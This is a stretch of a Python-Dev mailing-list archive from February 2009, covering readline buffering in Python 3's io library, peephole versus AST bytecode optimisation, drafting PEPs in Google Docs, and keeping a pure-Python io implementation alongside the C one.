   .extend() .index() .insert() .pop() .remove() .reverse() .sort()

I'm not sure that this type of functionality merits a new built-in,  
but it might be useful as part of help()'s output.

-Mike

From seefeld at sympatico.ca  Wed Feb 18 23:57:25 2009
From: seefeld at sympatico.ca (Stefan Seefeld)
Date: Wed, 18 Feb 2009 17:57:25 -0500
Subject: [Python-Dev] [Tracker-discuss]  Tracker cleanup roadmap
In-Reply-To: <2d75d7660902181434u6dba8378tc3f693678b9ca6ff@mail.gmail.com>
References: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com>	<499A721E.4060007@v.loewis.de>	<a3b05e8b0902180040w255cafe9l7ff9f9ca342553e1@mail.gmail.com>
	<2d75d7660902181434u6dba8378tc3f693678b9ca6ff@mail.gmail.com>
Message-ID: <499C9255.3030309@sympatico.ca>

Hi there,

this is just a little note / reminder to try to submit Roundup patches 
and enhancements that you may have accumulated while working on the 
bugs.python.org tracker.
A couple of weeks ago I moved the Roundup project's own tracker close to 
where bugs.python.org is hosted, and am now actively developing Roundup 
again (at least for a while). So this is a good time to get in touch to 
merge things upstream. :-)

(See http://www.roundup-tracker.org.)

Thanks,
       Stefan

-- 

      ...ich hab' noch einen Koffer in Berlin...


From rdmurray at bitdance.com  Thu Feb 19 03:38:06 2009
From: rdmurray at bitdance.com (rdmurray at bitdance.com)
Date: Wed, 18 Feb 2009 21:38:06 -0500 (EST)
Subject: [Python-Dev] lifting of prohibition against readlines inside a
 "for line in file" in Py3?
In-Reply-To: <loom.20090218T212332-634@post.gmane.org>
References: <p06240802c5c1f6b5a4cc@[10.0.1.221]> <499C7B7E.5080005@gmail.com>
	<loom.20090218T212332-634@post.gmane.org>
Message-ID: <Pine.LNX.4.64.0902182130590.12396@kimball.webabinitio.net>

On Wed, 18 Feb 2009 at 21:25, Antoine Pitrou wrote:
> Nick Coghlan <ncoghlan <at> gmail.com> writes:
>>
>> I *think* the 2.x system had an internal buffer that was used by the
>> file iterator, but not by the file methods. With the new IO stack for
>> 3.0, there is now a common buffer shared by all the file operations
>> (including iteration).
>>
>> However, given that the lifting of the restriction is currently
>> undocumented, I wouldn't want to see a commitment to keeping it lifted
>> until we know that it won't cause any problems for the io-in-c rewrite
>> for 3.1 (hopefully someone with more direct involvement with that
>> rewrite will chime in, since they'll know a lot more about it than I do).
>
> As you said, there is no special buffering for the file iterator in 3.x, which
> means the restriction could be lifted (actually there is nothing relying on this
> restriction in the current code, except perhaps the "telling" flag in
> TextIOWrapper).

Currently I have python (2.x) code that uses 'readline' instead of 'for
x in myfile' in order to avoid the 'for' buffering (ie: be presented
with the next line as soon as it is written to the other end of a pipe,
instead of waiting for the buffer to fill).  Does "no special buffering"
mean that 'for' doesn't use a read-ahead buffer in p3k, or that readline
does use such a buffer, because the latter could make my code break
unexpectedly when porting to p3k.

--RDM

From guido at python.org  Thu Feb 19 05:31:54 2009
From: guido at python.org (Guido van Rossum)
Date: Wed, 18 Feb 2009 20:31:54 -0800
Subject: [Python-Dev] lifting of prohibition against readlines inside a
	"for line in file" in Py3?
In-Reply-To: <Pine.LNX.4.64.0902182130590.12396@kimball.webabinitio.net>
References: <p06240802c5c1f6b5a4cc@10.0.1.221> <499C7B7E.5080005@gmail.com>
	<loom.20090218T212332-634@post.gmane.org>
	<Pine.LNX.4.64.0902182130590.12396@kimball.webabinitio.net>
Message-ID: <ca471dc20902182031k702fa738o23604f5151f9ed00@mail.gmail.com>

On Wed, Feb 18, 2009 at 6:38 PM,  <rdmurray at bitdance.com> wrote:
> On Wed, 18 Feb 2009 at 21:25, Antoine Pitrou wrote:
>>
>> Nick Coghlan <ncoghlan <at> gmail.com> writes:
>>>
>>> I *think* the 2.x system had an internal buffer that was used by the
>>> file iterator, but not by the file methods. With the new IO stack for
>>> 3.0, there is now a common buffer shared by all the file operations
>>> (including iteration).
>>>
>>> However, given that the lifting of the restriction is currently
>>> undocumented, I wouldn't want to see a commitment to keeping it lifted
>>> until we know that it won't cause any problems for the io-in-c rewrite
>>> for 3.1 (hopefully someone with more direct involvement with that
>>> rewrite will chime in, since they'll know a lot more about it than I do).
>>
>> As you said, there is no special buffering for the file iterator in 3.x,
>> which
>> means the restriction could be lifted (actually there is nothing relying
>> on this
>> restriction in the current code, except perhaps the "telling" flag in
>> TextIOWrapper).
>
> Currently I have python (2.x) code that uses 'readline' instead of 'for
> x in myfile' in order to avoid the 'for' buffering (ie: be presented
> with the next line as soon as it is written to the other end of a pipe,
> instead of waiting for the buffer to fill).  Does "no special buffering"
> mean that 'for' doesn't use a read-ahead buffer in p3k, or that readline
> does use such a buffer, because the latter could make my code break
> unexpectedly when porting to p3k.

Have a look at the code in io.py (class TextIOWrapper):

http://svn.python.org/view/python/branches/py3k/Lib/io.py?view=log

I believe it doesn't force reading ahead more than necessary. If a
single low-level read() returns enough data to satisfy the __next__()
or readline() (or it can be satisfied from data already buffered) then
it won't force reading more.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From ncoghlan at gmail.com  Thu Feb 19 11:41:50 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Thu, 19 Feb 2009 20:41:50 +1000
Subject: [Python-Dev] lifting of prohibition against readlines inside a
 "for line in file" in Py3?
In-Reply-To: <gnhv2q$cjl$1@ger.gmane.org>
References: <p06240802c5c1f6b5a4cc@[10.0.1.221]> <gnhv2q$cjl$1@ger.gmane.org>
Message-ID: <499D376E.6040702@gmail.com>

Terry Reedy wrote:
> I suspect your original query got lost in the shuffle.  If you do not
> get an answer this time, file an issue on the tracker bugs.python.org
> but do not select whether it is a behavior or doc issue. At least, it
> will stay open until resolved.

Filing a tracker issue is probably a good idea regardless.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From venkat83 at gmail.com  Thu Feb 19 14:53:12 2009
From: venkat83 at gmail.com (Venkatraman S)
Date: Thu, 19 Feb 2009 19:23:12 +0530
Subject: [Python-Dev] Peephole Optimization
Message-ID: <a3b05e8b0902190553v55600f07j7e30213aee2f6548@mail.gmail.com>

Hi,

I was looking around possibilities of bytecode optimizations in cpython and
was looking at some older bugs. One of them being
issue#2499<http://bugs.python.org/issue2499>;
the following line
kind of confuses me and wasnt sure what exactly Raymond(et al) is planning,
as i presume
that bytecode optimizations are much _easier_ than optimizations in AST.

"Most of the peepholer is going to be migrated up the chain, after the AST
is generated,
but before the opcodes are generated."

If there are some optimizations that can be done in the bytecodes, then
'where' would be
the suggested place to incorporate the same; as i also see that some of the
more rudimentary
optimizations have been rejected in many of the patches.

Regards,
-V-
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090219/a3c94468/attachment.htm>

From olemis at gmail.com  Thu Feb 19 15:14:40 2009
From: olemis at gmail.com (Olemis Lang)
Date: Thu, 19 Feb 2009 09:14:40 -0500
Subject: [Python-Dev] Peephole Optimization
In-Reply-To: <a3b05e8b0902190553v55600f07j7e30213aee2f6548@mail.gmail.com>
References: <a3b05e8b0902190553v55600f07j7e30213aee2f6548@mail.gmail.com>
Message-ID: <24ea26600902190614w1d546c4em263f319874c232c6@mail.gmail.com>

On Thu, Feb 19, 2009 at 8:53 AM, Venkatraman S <venkat83 at gmail.com> wrote:
> Hi,

Hi ...

>
> If there are some optimizations that can be done in the bytecodes, then
> 'where' would be
> the suggested place to incorporate the same;

The way I modify function's bytecode now (... but I am open to further
suggestions ... ;) is writing decorators ... but this is not valid for
more general transformations (AFAICS ...).

-- 
Regards,

Olemis.

Blog ES: http://simelo-es.blogspot.com/
Blog EN: http://simelo-en.blogspot.com/

Featured article:

From python at rcn.com  Thu Feb 19 19:20:22 2009
From: python at rcn.com (Raymond Hettinger)
Date: Thu, 19 Feb 2009 10:20:22 -0800
Subject: [Python-Dev] Peephole Optimization
References: <a3b05e8b0902190553v55600f07j7e30213aee2f6548@mail.gmail.com>
Message-ID: <E2B558A178554601BC844A10AD729889@RaymondLaptop1>

[Venkatraman S]
> the following line
> kind of confuses me and wasnt sure what exactly Raymond(et al) is planning, 

I think the AST optimization work is being pursued by tlee.
See his current results on the branch:   tlee-ast-optimize/
I don't know if this work has stalled but it was off to a good start.

> as i presume 
> that bytecode optimizations are much _easier_ than optimizations in AST.
. . .
>  "Most of the peepholer is going to be migrated up the chain, 
> after the AST is generated, but before the opcodes are generated." 

I don't think your presumption is true.  For some transformations (especially
constant folding), more is possible with AST than with bytecode.  We won't
know for sure until the work is done and there is a good, working patch.

Right now, the peepholer is limited by basic blocks, by only rewriting opcode
sequences that are same or shorter size, and has to do tricks like writing-out 
NOPs and the eliminating them while rewriting the jump targets.  Essentially,
it disassembles fragments, analyzes them, and reassembles them.  Better to
start before the assembly, do the AST rewrites, and then less the existing
assembler do its thing.   When it comes to optimizing long fragements
and extended args, the peepholer punts and does nothing.  All of this
makes it tightly bound to a given set of opcodes and everything must be
re-evaluated whenever someone proposes a new opcode or changes the
meaning of the existing code.

> If there are some optimizations that can be done in the bytecodes, 
> then 'where' would be the suggested place to incorporate the same;

The "where" is being developed.  Your help would be welcome.

> as i also see that some of the more rudimentary 
> optimizations have been rejected in many of the patches.

A number of patches have been accepted.  The ones that were rejected
were either too complicated, interfered with other optimizations, or did 
too much work for too little payoff (i.e. deadcode elimination which costs
compilation time but doesn't actually speedup code).


Raymond




From rdmurray at bitdance.com  Thu Feb 19 22:41:03 2009
From: rdmurray at bitdance.com (rdmurray at bitdance.com)
Date: Thu, 19 Feb 2009 16:41:03 -0500 (EST)
Subject: [Python-Dev] lifting of prohibition against readlines inside a
 "for line in file" in Py3?
In-Reply-To: <ca471dc20902182031k702fa738o23604f5151f9ed00@mail.gmail.com>
References: <p06240802c5c1f6b5a4cc@10.0.1.221> <499C7B7E.5080005@gmail.com>
	<loom.20090218T212332-634@post.gmane.org>
	<Pine.LNX.4.64.0902182130590.12396@kimball.webabinitio.net>
	<ca471dc20902182031k702fa738o23604f5151f9ed00@mail.gmail.com>
Message-ID: <Pine.LNX.4.64.0902191530290.12396@kimball.webabinitio.net>

On Wed, 18 Feb 2009 at 20:31, Guido van Rossum wrote:
> On Wed, Feb 18, 2009 at 6:38 PM,  <rdmurray at bitdance.com> wrote:
>> On Wed, 18 Feb 2009 at 21:25, Antoine Pitrou wrote:
>>>
>>> Nick Coghlan <ncoghlan <at> gmail.com> writes:
>>>>
>>>> I *think* the 2.x system had an internal buffer that was used by the
>>>> file iterator, but not by the file methods. With the new IO stack for
>>>> 3.0, there is now a common buffer shared by all the file operations
>>>> (including iteration).
>>>>
>>>> However, given that the lifting of the restriction is currently
>>>> undocumented, I wouldn't want to see a commitment to keeping it lifted
>>>> until we know that it won't cause any problems for the io-in-c rewrite
>>>> for 3.1 (hopefully someone with more direct involvement with that
>>>> rewrite will chime in, since they'll know a lot more about it than I do).
>>>
>>> As you said, there is no special buffering for the file iterator in 3.x,
>>> which
>>> means the restriction could be lifted (actually there is nothing relying
>>> on this
>>> restriction in the current code, except perhaps the "telling" flag in
>>> TextIOWrapper).
>>
>> Currently I have python (2.x) code that uses 'readline' instead of 'for
>> x in myfile' in order to avoid the 'for' buffering (ie: be presented
>> with the next line as soon as it is written to the other end of a pipe,
>> instead of waiting for the buffer to fill).  Does "no special buffering"
>> mean that 'for' doesn't use a read-ahead buffer in p3k, or that readline
>> does use such a buffer, because the latter could make my code break
>> unexpectedly when porting to p3k.
>
> Have a look at the code in io.py (class TextIOWrapper):
>
> http://svn.python.org/view/python/branches/py3k/Lib/io.py?view=log
>
> I believe it doesn't force reading ahead more than necessary. If a
> single low-level read() returns enough data to satisfy the __next__()
> or readline() (or it can be satisfied from data already buffered) then
> it won't force reading more.

Hmm.  I'm not sure I'm reading the code right, but it looks from the
docstrings like TextIOWrapper expects to read from a BufferedIOBase
object, whose doc string contains this comment:

         If the argument is positive, and the underlying raw stream is
         not 'interactive', multiple raw reads may be issued to satisfy
         the byte count (unless EOF is reached first).  But for
         interactive raw streams (XXX and for pipes?), at most one raw
         read will be issued, and a short result does not imply that
         EOF is imminent.

Since the 'pipe' comment is an XXX, it is not clear that my use case
is covered.  However, the actual implementation of readinto seems to
only call 'read' once, so as long as the 'read' of the subclass returns
whatever bytes are available, then it looks good to me :)

Since TextIOWrapper is careful to call 'read1' on the wrapped buffer
object, and the one place that 'read1' has a docstring clearly indicates
that it does at most one read and returns whatever data is ready, it
seems that the _intent_ of the code is as you expressed.

I'm a python programmer first, and my C is pretty rusty, so I'm not
sure if I'm up to looking through the new C code to see how this got
translated.  I'm thinking that both my use case (and in my case 'for'
should now work for me) and the OP's are the way it is intended to work,
but documentation of this seems like it would be a good idea.

Since the OP doesn't seem to have opened a ticket, I did so:
http://bugs.python.org/issue5323.  As I said there, I'm willing to work
on doc and test patches if this is the behavior the io library is required
to have in 3.x.

--RDM

From solipsis at pitrou.net  Thu Feb 19 22:56:18 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 19 Feb 2009 21:56:18 +0000 (UTC)
Subject: [Python-Dev] lifting of prohibition against readlines inside a
	"for line in file" in Py3?
References: <p06240802c5c1f6b5a4cc@10.0.1.221> <499C7B7E.5080005@gmail.com>
	<loom.20090218T212332-634@post.gmane.org>
	<Pine.LNX.4.64.0902182130590.12396@kimball.webabinitio.net>
	<ca471dc20902182031k702fa738o23604f5151f9ed00@mail.gmail.com>
	<Pine.LNX.4.64.0902191530290.12396@kimball.webabinitio.net>
Message-ID: <loom.20090219T215421-937@post.gmane.org>


Hello,

<rdmurray <at> bitdance.com> writes:
> 
> Since the 'pipe' comment is an XXX, it is not clear that my use case
> is covered.  However, the actual implementation of readinto seems to
> only call 'read' once, so as long as the 'read' of the subclass returns
> whatever bytes are available, then it looks good to me :)

The only thing I can say is that it should work as you expect it to.
But it would be great if you could give it a try and share your observations
with us. We haven't had many people report on real-world uses of the new IO
library (although we could optimistically deduce from it that people aren't
having any problems, except for the speed issue).

Regards

Antoine.



From turnbull at sk.tsukuba.ac.jp  Fri Feb 20 04:17:10 2009
From: turnbull at sk.tsukuba.ac.jp (Stephen J. Turnbull)
Date: Fri, 20 Feb 2009 12:17:10 +0900
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com>
	<499D243B.8080801@canterbury.ac.nz>
	<499D2740.1070408@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
Message-ID: <87tz6ppzk9.fsf@xemacs.org>

[Aside to Guido: Oops, I think I accidentally sent you a contentless
reply.  Sorry!]

As a suggestion, I think this is relevant to everybody who might be
writing a PEP, so I'm cross-posting to Python-Dev.  Probably no
discussion is needed, but Reply-To is set to Python-Ideas.

On Python-Ideas, Guido van Rossum writes:

 > On Thu, Feb 19, 2009 at 2:12 AM, Greg Ewing wrote:

 > > Fifth draft of the PEP. Re-worded a few things slightly
 > > to hopefully make the proposal a bit clearer up front.
 > 
 > Wow, how I long for the days when we routinely put things like this
 > under revision control so its easy to compare versions.

FWIW, Google Docs is almost there.  Working with Brett et al on early
drafts of PEP 0374 was easy and pleasant, and Google Docs gives
control of access to the document to the editor, not the Subversion
admin.  The ability to make comments that are not visible to
non-editors was nice.  Now that it's in Subversion it's much less
convenient for me (a non-committer).  I actually have to *decide* to
work on it, rather than simply raising a browser window, hitting
"refresh" and fixing a typo or two (then back to "day job" work).

The main problem with Google Docs is that is records a revision
automatically every so often (good) but doesn't prune the automatic
commits (possibly hard to do efficiently) OR mark user saves specially
(easy to do).  This lack of marking "important" revisions makes the
diff functionality kind of tedious.

I don't know how automatic the conversion to reST was, but the PEP in
Subversion is a quite accurate conversion of the Google Doc version.

Overall, I recommend use of Google Docs for "Python-Ideas" level of
PEP drafts.

From benjamin at python.org  Fri Feb 20 04:41:51 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Thu, 19 Feb 2009 21:41:51 -0600
Subject: [Python-Dev] IO implementation: in C and Python?
Message-ID: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>

As we prepare to merge the io-c branch, the question has come up [1]
about the original Python implementation. Should it just be deleted in
favor C version? The wish to maintain the two implementations together
has been raised on the basis that Python is easier to experiment on
and read (for other vm implementors).

Thoughts?

http://bugs.python.org/issue4565

-- 
Regards,
Benjamin

From rdmurray at bitdance.com  Fri Feb 20 05:27:56 2009
From: rdmurray at bitdance.com (rdmurray at bitdance.com)
Date: Thu, 19 Feb 2009 23:27:56 -0500 (EST)
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
Message-ID: <Pine.LNX.4.64.0902192324270.12396@kimball.webabinitio.net>

On Thu, 19 Feb 2009 at 21:41, Benjamin Peterson wrote:
> As we prepare to merge the io-c branch, the question has come up [1]
> about the original Python implementation. Should it just be deleted in
> favor C version? The wish to maintain the two implementations together
> has been raised on the basis that Python is easier to experiment on
> and read (for other vm implementors).

I'm personally +0 on this, but I note that it is easier to read not
just for other vm implementors, but for users.  Witness the question
about the behavior of 'for' vs 'readline'.  I'd have had a much
harder time figuring out the behavior if I'd had to read the C code.

That said, I'm not personally sure if maintaining both versions is
worth it.  Real python developers should make that decision :)

--RDM

From brett at python.org  Fri Feb 20 05:38:53 2009
From: brett at python.org (Brett Cannon)
Date: Thu, 19 Feb 2009 20:38:53 -0800
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
Message-ID: <bbaeab100902192038m1fe7053eo70fe3535f29c2b50@mail.gmail.com>

On Thu, Feb 19, 2009 at 19:41, Benjamin Peterson <benjamin at python.org>wrote:

> As we prepare to merge the io-c branch, the question has come up [1]
> about the original Python implementation. Should it just be deleted in
> favor C version? The wish to maintain the two implementations together
> has been raised on the basis that Python is easier to experiment on
> and read (for other vm implementors).
>

Probably not a surprise, but +1 from me for keeping the pure Python version
around for the benefit of other VMs as well as a reference implementation.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090219/9892006d/attachment.htm>

From collinw at gmail.com  Fri Feb 20 06:03:59 2009
From: collinw at gmail.com (Collin Winter)
Date: Thu, 19 Feb 2009 21:03:59 -0800
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <87tz6ppzk9.fsf@xemacs.org>
References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com>
	<499D243B.8080801@canterbury.ac.nz>
	<499D2740.1070408@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org>
Message-ID: <43aa6ff70902192103g70d282e0p20fcb0c961d407d0@mail.gmail.com>

On Thu, Feb 19, 2009 at 7:17 PM, Stephen J. Turnbull
<turnbull at sk.tsukuba.ac.jp> wrote:
> On Python-Ideas, Guido van Rossum writes:
>
>  > On Thu, Feb 19, 2009 at 2:12 AM, Greg Ewing wrote:
>
>  > > Fifth draft of the PEP. Re-worded a few things slightly
>  > > to hopefully make the proposal a bit clearer up front.
>  >
>  > Wow, how I long for the days when we routinely put things like this
>  > under revision control so its easy to compare versions.
>
> FWIW, Google Docs is almost there.  Working with Brett et al on early
> drafts of PEP 0374 was easy and pleasant, and Google Docs gives
> control of access to the document to the editor, not the Subversion
> admin.  The ability to make comments that are not visible to
> non-editors was nice.  Now that it's in Subversion it's much less
> convenient for me (a non-committer).  I actually have to *decide* to
> work on it, rather than simply raising a browser window, hitting
> "refresh" and fixing a typo or two (then back to "day job" work).
>
> The main problem with Google Docs is that is records a revision
> automatically every so often (good) but doesn't prune the automatic
> commits (possibly hard to do efficiently) OR mark user saves specially
> (easy to do).  This lack of marking "important" revisions makes the
> diff functionality kind of tedious.
>
> I don't know how automatic the conversion to reST was, but the PEP in
> Subversion is a quite accurate conversion of the Google Doc version.
>
> Overall, I recommend use of Google Docs for "Python-Ideas" level of
> PEP drafts.

Rietveld would also be a good option: it offers more at-will revision
control (rather than "whenever Google Docs decides"), allows you to
attach comments to the revisions, and will give you nice diffs between
PEP iterations.

Collin

From guido at python.org  Fri Feb 20 06:07:29 2009
From: guido at python.org (Guido van Rossum)
Date: Thu, 19 Feb 2009 21:07:29 -0800
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <bbaeab100902192038m1fe7053eo70fe3535f29c2b50@mail.gmail.com>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
	<bbaeab100902192038m1fe7053eo70fe3535f29c2b50@mail.gmail.com>
Message-ID: <ca471dc20902192107o4ccf28adse842278943c5c95c@mail.gmail.com>

On Thu, Feb 19, 2009 at 8:38 PM, Brett Cannon <brett at python.org> wrote:
> On Thu, Feb 19, 2009 at 19:41, Benjamin Peterson <benjamin at python.org>
> wrote:
>> As we prepare to merge the io-c branch, the question has come up [1]
>> about the original Python implementation. Should it just be deleted in
>> favor C version? The wish to maintain the two implementations together
>> has been raised on the basis that Python is easier to experiment on
>> and read (for other vm implementors).
>
> Probably not a surprise, but +1 from me for keeping the pure Python version
> around for the benefit of other VMs as well as a reference implementation.

You have been practice channeling me again, haven't you? I like the
idea of having two (closely matching) implementations very much. In
2.x we did this on an ad-hoc basis, e.g. [c]StringIO, pickle/cPickle,
heapq/_heapq. In 3.0 we've moved towards standardizing the approach --
the foo.py file first defines everything and then tries to import *
from _foo on top of that.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From collinw at gmail.com  Fri Feb 20 06:09:17 2009
From: collinw at gmail.com (Collin Winter)
Date: Thu, 19 Feb 2009 21:09:17 -0800
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <ca471dc20902192107o4ccf28adse842278943c5c95c@mail.gmail.com>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
	<bbaeab100902192038m1fe7053eo70fe3535f29c2b50@mail.gmail.com>
	<ca471dc20902192107o4ccf28adse842278943c5c95c@mail.gmail.com>
Message-ID: <43aa6ff70902192109s440b8d4drd1f001169021ee5e@mail.gmail.com>

On Thu, Feb 19, 2009 at 9:07 PM, Guido van Rossum <guido at python.org> wrote:
> On Thu, Feb 19, 2009 at 8:38 PM, Brett Cannon <brett at python.org> wrote:
>> On Thu, Feb 19, 2009 at 19:41, Benjamin Peterson <benjamin at python.org>
>> wrote:
>>> As we prepare to merge the io-c branch, the question has come up [1]
>>> about the original Python implementation. Should it just be deleted in
>>> favor C version? The wish to maintain the two implementations together
>>> has been raised on the basis that Python is easier to experiment on
>>> and read (for other vm implementors).
>>
>> Probably not a surprise, but +1 from me for keeping the pure Python version
>> around for the benefit of other VMs as well as a reference implementation.
>
> You have been practice channeling me again, haven't you? I like the
> idea of having two (closely matching) implementations very much.

Agreed. In particular, this helps any projects that are focused on
improving the performance of pure-Python code: they can work on
minimizing the delta between the Python and C versions.

Collin

From steve at pearwood.info  Fri Feb 20 06:35:03 2009
From: steve at pearwood.info (Steven D'Aprano)
Date: Fri, 20 Feb 2009 16:35:03 +1100
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <ca471dc20902192107o4ccf28adse842278943c5c95c@mail.gmail.com>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>	<bbaeab100902192038m1fe7053eo70fe3535f29c2b50@mail.gmail.com>
	<ca471dc20902192107o4ccf28adse842278943c5c95c@mail.gmail.com>
Message-ID: <499E4107.3040500@pearwood.info>

Guido van Rossum wrote:
> On Thu, Feb 19, 2009 at 8:38 PM, Brett Cannon <brett at python.org> wrote:
>> On Thu, Feb 19, 2009 at 19:41, Benjamin Peterson <benjamin at python.org>
>> wrote:
>>> As we prepare to merge the io-c branch, the question has come up [1]
>>> about the original Python implementation. Should it just be deleted in
>>> favor C version? The wish to maintain the two implementations together
>>> has been raised on the basis that Python is easier to experiment on
>>> and read (for other vm implementors).
>> Probably not a surprise, but +1 from me for keeping the pure Python version
>> around for the benefit of other VMs as well as a reference implementation.
> 
> You have been practice channeling me again, haven't you? I like the
> idea of having two (closely matching) implementations very much. In
> 2.x we did this on an ad-hoc basis, e.g. [c]StringIO, pickle/cPickle,
> heapq/_heapq. In 3.0 we've moved towards standardizing the approach --
> the foo.py file first defines everything and then tries to import *
> from _foo on top of that.


Currently, if I want to verify that (say) cFoo and Foo do the same 
thing, or compare their speed, it's easy because I can import the 
modules separately. Given the 3.0 approach, how would one access the 
Python versions without black magic or hacks?



-- 
Steven

From brett at python.org  Fri Feb 20 06:49:27 2009
From: brett at python.org (Brett Cannon)
Date: Thu, 19 Feb 2009 21:49:27 -0800
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <499E4107.3040500@pearwood.info>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
	<bbaeab100902192038m1fe7053eo70fe3535f29c2b50@mail.gmail.com>
	<ca471dc20902192107o4ccf28adse842278943c5c95c@mail.gmail.com>
	<499E4107.3040500@pearwood.info>
Message-ID: <bbaeab100902192149p77313d06n3af4561f19ea6ac0@mail.gmail.com>

On Thu, Feb 19, 2009 at 21:35, Steven D'Aprano <steve at pearwood.info> wrote:

> Guido van Rossum wrote:
>
>> On Thu, Feb 19, 2009 at 8:38 PM, Brett Cannon <brett at python.org> wrote:
>>
>>> On Thu, Feb 19, 2009 at 19:41, Benjamin Peterson <benjamin at python.org>
>>> wrote:
>>>
>>>> As we prepare to merge the io-c branch, the question has come up [1]
>>>> about the original Python implementation. Should it just be deleted in
>>>> favor C version? The wish to maintain the two implementations together
>>>> has been raised on the basis that Python is easier to experiment on
>>>> and read (for other vm implementors).
>>>>
>>> Probably not a surprise, but +1 from me for keeping the pure Python
>>> version
>>> around for the benefit of other VMs as well as a reference
>>> implementation.
>>>
>>
>> You have been practice channeling me again, haven't you? I like the
>> idea of having two (closely matching) implementations very much. In
>> 2.x we did this on an ad-hoc basis, e.g. [c]StringIO, pickle/cPickle,
>> heapq/_heapq. In 3.0 we've moved towards standardizing the approach --
>> the foo.py file first defines everything and then tries to import *
>> from _foo on top of that.
>>
>
>
> Currently, if I want to verify that (say) cFoo and Foo do the same thing,
> or compare their speed, it's easy because I can import the modules
> separately. Given the 3.0 approach, how would one access the Python versions
> without black magic or hacks?


As of right now there is no standard practice, although coming up with a
standard way of handling this would probably be a good thing as this will
also help with the testing story.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090219/078d6d86/attachment.htm>

From alexandre at peadrop.com  Fri Feb 20 08:18:09 2009
From: alexandre at peadrop.com (Alexandre Vassalotti)
Date: Fri, 20 Feb 2009 02:18:09 -0500
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <499E4107.3040500@pearwood.info>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
	<bbaeab100902192038m1fe7053eo70fe3535f29c2b50@mail.gmail.com>
	<ca471dc20902192107o4ccf28adse842278943c5c95c@mail.gmail.com>
	<499E4107.3040500@pearwood.info>
Message-ID: <acd65fa20902192318mcf8f55av6cc6b9862d89da64@mail.gmail.com>

On Fri, Feb 20, 2009 at 12:35 AM, Steven D'Aprano <steve at pearwood.info> wrote:
>
> Currently, if I want to verify that (say) cFoo and Foo do the same thing, or
> compare their speed, it's easy because I can import the modules separately.
> Given the 3.0 approach, how would one access the Python versions without
> black magic or hacks?
>

My prefered way to handle this is to keep the original Python
implementations with a leading underscore (e.g., pickle._Pickler). I
found this was the easiest way to test the C and Python
implementations without resorting to import hacks.

-- Alexandre

From solipsis at pitrou.net  Fri Feb 20 11:48:25 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Fri, 20 Feb 2009 10:48:25 +0000 (UTC)
Subject: [Python-Dev] IO implementation: in C and Python?
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
Message-ID: <loom.20090220T104710-418@post.gmane.org>

Benjamin Peterson <benjamin <at> python.org> writes:
> 
> As we prepare to merge the io-c branch, the question has come up [1]
> about the original Python implementation. Should it just be deleted in
> favor C version? The wish to maintain the two implementations together
> has been raised on the basis that Python is easier to experiment on
> and read (for other vm implementors).

As I said, if it is the way forward, I suggest putting the Python version in a
separate module (e.g. pyio.py), for the sake of clarity and also because it may
slightly improve startup times (the pure-Python module wouldn't get imported in
normal conditions).

Your thoughts?

Regards

Antoine.



From g.brandl at gmx.net  Fri Feb 20 12:16:51 2009
From: g.brandl at gmx.net (Georg Brandl)
Date: Fri, 20 Feb 2009 12:16:51 +0100
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <87tz6ppzk9.fsf@xemacs.org>
References: <499C6E00.2030602@canterbury.ac.nz>
	<499CC6E8.5050104@ronadam.com>	<499D243B.8080801@canterbury.ac.nz>	<499D2740.1070408@canterbury.ac.nz>	<499D3086.6020706@canterbury.ac.nz>	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org>
Message-ID: <gnm3fd$g0p$1@ger.gmane.org>

Stephen J. Turnbull schrieb:

> FWIW, Google Docs is almost there.  Working with Brett et al on early
